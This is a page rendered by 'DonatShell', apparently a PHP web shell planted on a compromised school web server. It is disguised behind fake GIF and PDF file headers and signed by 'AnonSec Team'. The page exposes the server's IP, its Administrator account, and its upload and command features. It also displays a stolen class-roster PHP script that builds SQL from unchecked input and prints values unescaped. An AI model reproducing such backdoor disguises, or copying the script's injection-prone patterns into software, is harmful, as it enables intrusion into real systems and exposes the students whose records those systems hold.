GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Class/ClassRosterVerify.phpinc
<?
// Admin/Class/ClassRosterVerify.phpinc

$d_O = d_O(); #d_On(); // Uncomment to DEBUG.

debugTrackBegin();
#setDebugOn();
#setDebugOff();
#d_On();
d_LIne('In Admin/Class/ClassRosterVerify.phpinc');
$js .= ",ClassEvaluations,wforms";
$headTitle = '_CST_ - '.$f_courseNumber;
$pageTitle = '_CST_<br>'.$f_courseNumber;
include('common/pageHeader.phpinc');
#if (dc()) echo "<b>".__FILE__."</b><br>\n";
$f_classRoster = formValue('classRoster');
$sectionTitle = '_CST_ - '.$f_courseNumber.' Class Roster';
include('common/sectionHeader.phpinc');

// Get current class roster.
$query = "
SELECT
	userStarID,
	userStudentId,
	userFirstName,
	userMiddleName,
	userLastName
FROM classstudent
WHERE classstudent.classId = ".$f_classId."
";
#d_Var('classstudentResult',$query,'q');
$classstudentResult = query_do($query);
$classstudentCount = $_SESSION['qry']['count'];
#d_Var('classstudentCount',$classstudentCount,'d');
$classRosterCurrent = array();
$classRosterCurrentCount = 0;
if ($classstudentCount) { // Are there current students?
	mysqli_data_seek($classstudentResult, 0);
	while ($classstudentRow = mysqli_fetch_assoc($classstudentResult)) { // Loop thru the result.
		//$classRosterCurrent[$i] = array();
		$classRosterCurrent[$classRosterCurrentCount]['userStarID'] = $classstudentRow['userStarID'];
		$classRosterCurrent[$classRosterCurrentCount]['userStudentId'] = $classstudentRow['userStudentId'];
		$classRosterCurrent[$classRosterCurrentCount]['userFirstName'] = $classstudentRow['userFirstName'];
		$classRosterCurrent[$classRosterCurrentCount]['userMiddleName'] = $classstudentRow['userMiddleName'];
		$classRosterCurrent[$classRosterCurrentCount]['userLastName'] = $classstudentRow['userLastName'];
		$classRosterCurrentCount++;
	} // Loop thru the result.
} else { // Are there current students?
	//$classRosterCurrent[0] = array();
} // Are there current students?
#d_Var('$classRosterCurrentCount',$classRosterCurrentCount,'d');
#d_Var('$classRosterCurrent',$classRosterCurrent,'d');

// BEGIN Parse the roster entered.
$classRosterAdd = 0;
$classRosterDrop = 0;
// Get class roster entered.
$classRosterEntered = array();
$classRosterLines = explode("\n",$f_classRoster);
$classRosterLineCount = count($classRosterLines);
#d_Var("\$classRosterLineCount",$classRosterLineCount,'d');
#d_Var('$classRosterLineCount',$classRosterLineCount);
if ( $classRosterLineCount ) {
	$browserOK = false; // Used to determine if the browser is OK (Copies tabs between table columns).
	// Verify that a browser that copies tabs is being used.
	$classRosterEnteredCount = 0;
	for ( $i=0; $i<$classRosterLineCount; $i++ ) { // Loop thru class roster lines.
		$classRosterLineTabs = explode("\t",$classRosterLines[$i]);
		#d_Var('$classRosterLineTabs',$classRosterLineTabs,'d');
		if ( count($classRosterLineTabs) >= 9 ) { $browserOK = true; }
	} // Loop thru class roster lines.
	#d_Var('$browserOK',$browserOK,'iI');
	#d_End();
	if ( $browserOK ) { // Is the browser OK?
		$classRosterEnteredCount = 0;
		for ( $index=0; $index<$classRosterLineCount; $index++ ) { // Loop thru class roster lines.
			$classRosterEntered[$classRosterEnteredCount] = array();
			// Parse the class roster line.
			$classRosterLineTabs = explode("\t",$classRosterLines[$index]);
			#d_Var("\$classRosterLineTabs",$classRosterLineTabs,'/');
			#d_End();
			if ( count($classRosterLineTabs) >= 9 ) { // Does this line have at least 9 entries?
				$hasStarID = preg_match("/[a-z]{2}[0-9]{4}[a-z]{2}/",trim($classRosterLineTabs[0]));
				$hasTechId = preg_match("/[0-9]{8}/",trim($classRosterLineTabs[1]));
				#d_Var("\$hasStarID",$hasStarID);
				#d_Var("\$hasTechId",$hasTechId);
				if ( $hasStarID && $hasTechId ) { // Does the line start with a StarID and have a techId?
					#d_Var("\$classRosterLines[$index]",$classRosterLines[$index],'d/');
					// Trim entered data.
					for ( $i=0; $i<count($classRosterLineTabs); $i++) {
						$classRosterLineTabs[$i] = trim($classRosterLineTabs[$i]);
					}
					//#d_Var("\$classRosterLineTabs",$classRosterLineTabs,'/');
					#d_End();
					// $classRosterLineTabs[0] is the StarID.
					$classRosterEntered[$classRosterEnteredCount]['userStarID'] = $classRosterLineTabs[0];
					// $classRosterLineTabs[1] is the userStudentId.
					$classRosterEntered[$classRosterEnteredCount]['userStudentId'] = $classRosterLineTabs[1];
					// $classRosterLineTabs[2] is the student name.
					// BEGIN Get the student name.
					$studentNameParts = explode(",",trim($classRosterLineTabs[2]));
					#d_Var("\$studentNameParts",$studentNameParts,'');
					if ( isset($studentNameParts[1]) ) { // Does the student have a last name?
						// Yes.
						$classRosterEntered[$classRosterEnteredCount]['userLastName'] = $studentNameParts[0];
						$studentNameParts = explode(" ",trim($studentNameParts[1]));
					} else { // Does the student have a last name?
						// No.
						$classRosterEntered[$classRosterEnteredCount]['userLastName'] = '';
						$studentNameParts = explode(" ",trim($studentNameParts[0]));
					} // Does the student have a last name?
					#d_Var("\$studentNameParts",$studentNameParts,'d');
					$classRosterEntered[$classRosterEnteredCount]['userFirstName'] = $studentNameParts[0];
					$classRosterEntered[$classRosterEnteredCount]['userMiddleName'] = '';
					if ( isset($studentNameParts[1]) ) { // Does the student have a middle name?
						$prefix = '';
						$nameIndex = 1;
						while ( $nameIndex < count($studentNameParts) ) {
							if ( $studentNameParts[$nameIndex] != '' ) {
								$classRosterEntered[$classRosterEnteredCount]['userMiddleName'] .= $prefix.$studentNameParts[$nameIndex];
								$prefix = ' ';
								$nameIndex++;
							}
						}
					} // Does the student have a middle name?
					#d_Var("substr(\$studentNameParts[0],-1)",substr($studentNameParts[0],-1));
					if ( $classRosterEntered[$classRosterEnteredCount]['userFirstName'] == '' && $classRosterEntered[$classRosterEnteredCount]['userMiddleName'] != '' ) {
						$classRosterEntered[$classRosterEnteredCount]['userFirstName'] = $classRosterEntered[$classRosterEnteredCount]['userMiddleName'];
						$classRosterEntered[$classRosterEnteredCount]['userMiddleName'] = '';
					}
					if ( $classRosterEntered[$classRosterEnteredCount]['userFirstName'] == '' && $classRosterEntered[$classRosterEnteredCount]['userLastName'] != '' ) {
						$classRosterEntered[$classRosterEnteredCount]['userFirstName'] = $classRosterEntered[$classRosterEnteredCount]['userLastName'];
						$classRosterEntered[$classRosterEnteredCount]['userLastName'] = '';
					}
					#d_Var("\$classRosterEntered[$classRosterEnteredCount]['userFirstName']",$classRosterEntered[$classRosterEnteredCount]['userFirstName'],'');
					#d_Var("\$classRosterEntered[$classRosterEnteredCount]['userMiddleName']",$classRosterEntered[$classRosterEnteredCount]['userMiddleName'],'');
					#d_Var("\$classRosterEntered[$classRosterEnteredCount]['userLastName']",$classRosterEntered[$classRosterEnteredCount]['userLastName'],'');
					// END Get the student name.
					#d_End();
					// $classRosterLineTabs[3] is the Major.
					$classRosterEntered[$classRosterEnteredCount]['Major'] = $classRosterLineTabs[3];
					// $classRosterLineTabs[4] is the Student Classification.
					$classRosterEntered[$classRosterEnteredCount]['Classification'] = $classRosterLineTabs[4];
					// $classRosterLineTabs[5] is the Credits.
					$classRosterEntered[$classRosterEnteredCount]['Credits'] = $classRosterLineTabs[5];
					// $classRosterLineTabs[6] is the Grading Method.
					// $classRosterLineTabs[7] is the Grade.
					// $classRosterLineTabs[8] is the Last Date Attended.
					// $classRosterLineTabs[9] is the Advisor.
					$classRosterEntered[$classRosterEnteredCount]['Advisor'] = $classRosterLineTabs[9];
					// $classRosterLineTabs[6] is the Grade.
					//$classRosterEntered[$classRosterEnteredCount]['FW'] =	$classRosterLineTabs[7];
					#d_Var("\$classRosterEntered[$classRosterEnteredCount]['userFirstName']",$classRosterEntered[$classRosterEnteredCount]['userFirstName'],'/d');
					#d_Var("\$classRosterEntered[$classRosterEnteredCount]['FW']",$classRosterEntered[$classRosterEnteredCount]['FW'],'d');
//					#d_Var("\$classRosterEntered[$classRosterEnteredCount]['userStudentId']",$classRosterEntered[$classRosterEnteredCount]['userStudentId'],'d/');
//					#d_Var("\$classRosterLineTabs[7]",$classRosterLineTabs[7],'d');
					#d_Var("\$classRosterEntered[$classRosterEnteredCount]",$classRosterEntered[$classRosterEnteredCount],'d');
					$student_In_classRosterCurrent = false;
					#d_Var("\$classRosterEntered[$classRosterEnteredCount]['userStudentId']",$classRosterEntered[$classRosterEnteredCount]['userStudentId'],'dAa');
					for( $j=0; $j<$classRosterCurrentCount; $j++ ) { // Loop thru current students again.
						#d_Var("\$classRosterEntered[$j]['userStudentId']", $classRosterEntered[$j]['userStudentId'],'d');
						if ( isset($classRosterEntered[$classRosterEnteredCount]['userStudentId'])
								&& isset($classRosterCurrent[$j]['userStudentId'])
								&& $classRosterEntered[$classRosterEnteredCount]['userStudentId'] == $classRosterCurrent[$j]['userStudentId']
							 ) { // Is the current student also entered?
							$student_In_classRosterCurrent = true;
							break;
						} // Is the current student also entered?
					} // Loop thru current students again.
					#d_Var('$student_In_classRosterCurrent',$student_In_classRosterCurrent,'d');
					$classRosterEntered[$classRosterEnteredCount]['FW'] = $classRosterLineTabs[7];
					if ($student_In_classRosterCurrent) { // Is this student in the current roster?
						// Yes.
						if ( $classRosterLineTabs[7] == 'W' || $classRosterLineTabs[7] == 'FW' ) { // Has this student withdrawn or been LDA from the classs?
							// Yes. Drop the student.
							$classRosterEntered[$classRosterEnteredCount]['Action'] = 'Drop';
							$classRosterEntered[$classRosterEnteredCount]['FW'] .= ' '.$classRosterLineTabs[8];
							$classRosterDrop++;
						} else { // Has this student withdrawn or been LDA from the classs?
							// No.
							if ($classRosterEntered[$classRosterEnteredCount]['FW'] == '') {
								$classRosterEntered[$classRosterEnteredCount]['Action'] = 'Both';
							} else {
								unset($classRosterEntered[$classRosterEnteredCount]);
								$classRosterEnteredCount--;
							}
						} // Has this student withdrawn or been LDA from the classs?
					} else { // Is this student in the current roster?
						// No. Add the student.
						if ( $classRosterLineTabs[7] == 'W' || $classRosterLineTabs[7] == 'FW' ) { // Did this student withdraw?
							// Yes, remove the student.
							unset($classRosterEntered[$classRosterEnteredCount]);
							$classRosterEnteredCount--;
						} else { // Did this student withdraw?
							// No, mark student as an Add.
							$classRosterEntered[$classRosterEnteredCount]['Action'] = 'Add';
							$classRosterAdd = 1;
						}
					} // Is this student in the current roster?
					/** /
					if ( $classRosterLineTabs[7] == 'W' ) { // Has this student withdrawn or been LDA from the classs?
						unset($classRosterEntered[$classRosterEnteredCount]);
//						$classRosterEntered[$classRosterEnteredCount]['Action'] = 'Drop';
//						$classRosterEntered[$classRosterEnteredCount]['FW'] =	$classRosterLineTabs[7];
						$classRosterDrop++;
					} else { // Has this student withdrawn from the classs?
						// Determine if the action is Add or both.
						if ( $classRosterLineTabs[7] == 'FW' ) { // Has this student withdrawn or been LDA from the classs?
							//unset($classRosterEntered[$classRosterEnteredCount]);
							$classRosterEntered[$classRosterEnteredCount]['Action'] = 'Drop';
							$classRosterEntered[$classRosterEnteredCount]['FW'] = 'FW '.$classRosterLineTabs[8];
							$classRosterDrop++;
						} else {
							$classRosterEntered[$classRosterEnteredCount]['FW'] = '';
							$student_IsCurrent = false;
							#d_Var("\$classRosterEntered[$classRosterEnteredCount]",$classRosterEntered[$classRosterEnteredCount],'');
							for ( $i=0; $i<count($classRosterCurrent); $i++ ) { // Loop thru current students.
								#d_Var("\$classRosterCurrent[$i]",$classRosterCurrent[$i],'');
								if ( $classRosterEntered[$classRosterEnteredCount]['userStudentId'] == $classRosterCurrent[$i]['userStudentId'] ) {
									$student_IsCurrent = true;
								}
							} // Loop thru current students.
							if ( $student_IsCurrent ) {
								$classRosterEntered[$classRosterEnteredCount]['Action'] = 'Both';
							} else {
								$classRosterEntered[$classRosterEnteredCount]['Action'] = 'Add';
								$classRosterAdd = 1;
							}
							$studentInfo = $classRosterEntered[$classRosterEnteredCount]['Action'].' '.$classRosterEntered[$classRosterEnteredCount]['userStudentId'].' '.$classRosterEntered[$classRosterEnteredCount]['userFirstName'].' '.$classRosterEntered[$classRosterEnteredCount]['userLastName'];
							#d_Line($studentInfo);
							#d_Var("\$classRosterEntered[$classRosterEnteredCount]",$classRosterEntered[$classRosterEnteredCount],'');
						}
						#d_Var("\$classRosterEntered[$classRosterEnteredCount]['Action']",$classRosterEntered[$classRosterEnteredCount]['Action'],'d');
						$classRosterEnteredCount++;
						
					} // Has this student withdrawn from the classs?
					/**/
					#d_Var('$classRosterEnteredCount',$classRosterEnteredCount,'d');
					if ($classRosterEnteredCount >= 0) {
						$studentInfo = $classRosterEntered[$classRosterEnteredCount]['Action']
						.' '.$classRosterEntered[$classRosterEnteredCount]['userStudentId']
						.' '.$classRosterEntered[$classRosterEnteredCount]['userFirstName']
						.' '.$classRosterEntered[$classRosterEnteredCount]['userLastName'];
					} else {
						$studentInfo = '';
					}
					#d_Var('$studentInfo',$studentInfo,'d');
					$classRosterEnteredCount++;
					#d_End();
				} // Does the line start with a StarID and have a techId?
			} // Does this line have at least 9 entries?
		} // Loop thru class roster lines.
	//$lastEnteredIndex = $classRosterEnteredCount - 1;
		if (!isset($classRosterEntered[$classRosterEnteredCount]['userStudentId'])) {
			unset($classRosterEntered[$classRosterEnteredCount]);
			#$classRosterEnteredCount--;
		}
	} else {
		?><br><span class="bold error">You must use a browser that copies tabs such as Chrome or Firefox.</span><br><?
	}
} else {
	$classRosterEnteredCount = 0;
}
if ( $classRosterEnteredCount == 0 ) $classRosterEntered[0]['userStudentId'] = array();
#d_Line('Total entered.');

#d_Var('$classRosterEnteredCount',$classRosterEnteredCount,'d');
#d_Var('$classRosterEntered',$classRosterEntered,'dk');
#d_End();
// END Parse the roster entered.


// Cleanup $classRosterEntered.
foreach ( $classRosterEntered as $i => $data) {
	if (!isset($data['userStudentId'])) {
		unset($classRosterEntered[$i]);
	}
}
#d_Var('$classRosterEntered',$classRosterEntered,'dk');

// BEGIN Check for students not in $classRosterEntered.
$classRosterFinal = $classRosterEntered;
foreach ($classRosterCurrent as $currentStudent) { // Loop thru current students.
	$studentEntered = false;
	foreach ($classRosterEntered as $enteredStudent) { // Loop thru entered students.
		if ($currentStudent['userStudentId'] == $enteredStudent['userStudentId']) { // Was the current student also entered?
			$studentEntered = true;
		}
	} // Loop thru entered students.
	if (!$studentEntered) { // Was this student not entered?
		// Add the current student as a drop.
		$classRosterDrop = 1;
		$currentStudent['Action'] = 'Drop';
		$currentStudent['FW'] = '';
		$classRosterFinal[$classRosterEnteredCount] = $currentStudent;
		$classRosterEnteredCount++;
	} // Was this student not entered?
} // Loop thru current students.
#d_Var('$classRosterFinal',$classRosterFinal,'d');
// END Check for students not in $classRosterEntered.

$classRosterEntered = $classRosterFinal;
//$classRosterEnteredCount = count($classRosterEntered);
#d_Var('$classRosterEnteredCount',$classRosterEnteredCount,'d');
#d_Var('$classRosterEntered',$classRosterEntered,'dk');

// Sort classRosterEntered.
$changeMade = true;
while ($changeMade) {
	$changeMade = false;
	for($i=0; $i<$classRosterEnteredCount-1; $i++) {
		$j = $i+1;
		$tempi = $classRosterEntered[$i]['userLastName'].' '.$classRosterEntered[$i]['userFirstName'].' '.$classRosterEntered[$i]['userMiddleName'].' '.$classRosterEntered[$i]['userStudentId'];
		$tempj = $classRosterEntered[$j]['userLastName'].' '.$classRosterEntered[$j]['userFirstName'].' '.$classRosterEntered[$j]['userMiddleName'].' '.$classRosterEntered[$j]['userStudentId'];
		if ($tempi > $tempj) {
			$tmpI = $classRosterEntered[$i];
			$tmpJ = $classRosterEntered[$j];
			$classRosterEntered[$i] = $tmpJ;
			$classRosterEntered[$j] = $tmpI;
			$changeMade = true;
		}
	}
}
#d_Var("\$classRosterEntered",$classRosterEntered);
d_Line('Sorted by last name.');
#d_Var('$classRosterEntered',$classRosterEntered,'k');

if ( !$d_O ) d_Off();

if ( $browserOK ) {
// Display class roster changes.
?>
<form name="form_classlistenter" action="<?=php_self()?>" method="post" style="display:inline;">
<input name="f_uuid" type="hidden" value="<?=uuid()?>">
<input name="f_form" type="hidden" value="form_classlistenter">
<input name="f_classId" type="hidden" value="<?=$f_classId?>">
<input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>">
<input name="f_courseId" type="hidden" value="<?=$f_courseId?>">
<input name="f_classRosterEnteredCount" type="hidden" value="<?=$classRosterEnteredCount?>">
<input name="f_task" type="hidden" value="Class Roster">
<fieldset><legend>Class Roster Changes</legend>
<?
if ($classRosterEnteredCount) {
	$studentsPerColumn = (int) ($classRosterEnteredCount/3+.99);
	//echo $studentsPerColumn."<br>\n";
?>
	<table cellpadding="0" cellspacing="0"><tr>
<?
	$studentsThisColumn = 0;
	for ($i=0; $i<$classRosterEnteredCount; $i++) {
		if ($studentsThisColumn == 0) {
?>
		<td style="padding-right:10px;">
<?
		}
?>
	<span class="user<?=$classRosterEntered[$i]['Action']?> copyText"><?=$classRosterEntered[$i]['userStudentId']?> <?=$classRosterEntered[$i]['userFirstName']?> <?=$classRosterEntered[$i]['userLastName']?> <?=$classRosterEntered[$i]['FW']?></span><br>
	<input type="hidden" name="f_Action_<?=$i?>" value="<?=$classRosterEntered[$i]['Action']?>" />
	<input type="hidden" name="f_Advisor_<?=$i?>" value="<?=$classRosterEntered[$i]['Advisor']?>" />
	<input type="hidden" name="f_Classification_<?=$i?>" value="<?=$classRosterEntered[$i]['Classification']?>" />
	<input type="hidden" name="f_Credits_<?=$i?>" value="<?=$classRosterEntered[$i]['Credits']?>" />
	<input type="hidden" name="f_Major_<?=$i?>" value="<?=$classRosterEntered[$i]['Major']?>" />
	<input type="hidden" name="f_userFirstName_<?=$i?>" value="<?=$classRosterEntered[$i]['userFirstName']?>" />
	<input type="hidden" name="f_userLastName_<?=$i?>" value="<?=$classRosterEntered[$i]['userLastName']?>" />
	<input type="hidden" name="f_userMiddleName_<?=$i?>" value="<?=$classRosterEntered[$i]['userMiddleName']?>" />
	<input type="hidden" name="f_userStudentId_<?=$i?>" value="<?=$classRosterEntered[$i]['userStudentId']?>" />
	<input type="hidden" name="f_userStarID_<?=$i?>" value="<?=$classRosterEntered[$i]['userStarID']?>" />
<?
		$studentsThisColumn++;
		if ($studentsThisColumn == $studentsPerColumn) {
			$studentsThisColumn = 0;
?>
		</td>
<?
		}
	}
	if ($studentsThisColumn != 0) {
?>
		</td>
<?
	}
?>
</tr></table>
<?
} else {
?>
No students are in the class list.
<?
}
?>
</fieldset>

<?
if ( $classRosterAdd == 1 || $classRosterDrop >= 1 ) {
?>
	<input type="submit" name="f_subtask" value="Process Changes" class="small">
<?
}
if ( $classRosterAdd == 1 && $classRosterDrop >= 1 ) {
?>
	<input type="submit" name="f_subtask" value="Process Adds Only" class="small">
<?
}
if ( $classRosterAdd == 1 && $classRosterDrop >= 1 ) {
?>
	<input type="submit" name="f_subtask" value="Process Drops Only" class="small">
<?
}
if ( $classRosterAdd == 1 || $classRosterDrop >= 1 ) {
?>
	<input type="submit" name="f_subtask" value="Cancel" class="small50"><br>
<?
}
if ( $classRosterAdd == 0 && $classRosterDrop == 0 ) {
?>
	<input type="submit" name="f_subtask" value="Done" class="small50"><br>
<?
}
?>
</form>
<span class="userBoth">Green = Student is already on the current class roster.</span><br>
<span class="userAdd">Blue = Student is not on the current class roster and will be added.</span><br>
<span class="userDrop">Red = Student is not on the new class roster and will be dropped.</span><br>
<?
} else {
	include('Admin/Class/ClassRoster.phpinc');
}
include('common/sectionFooter.phpinc');
#d_End();
debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team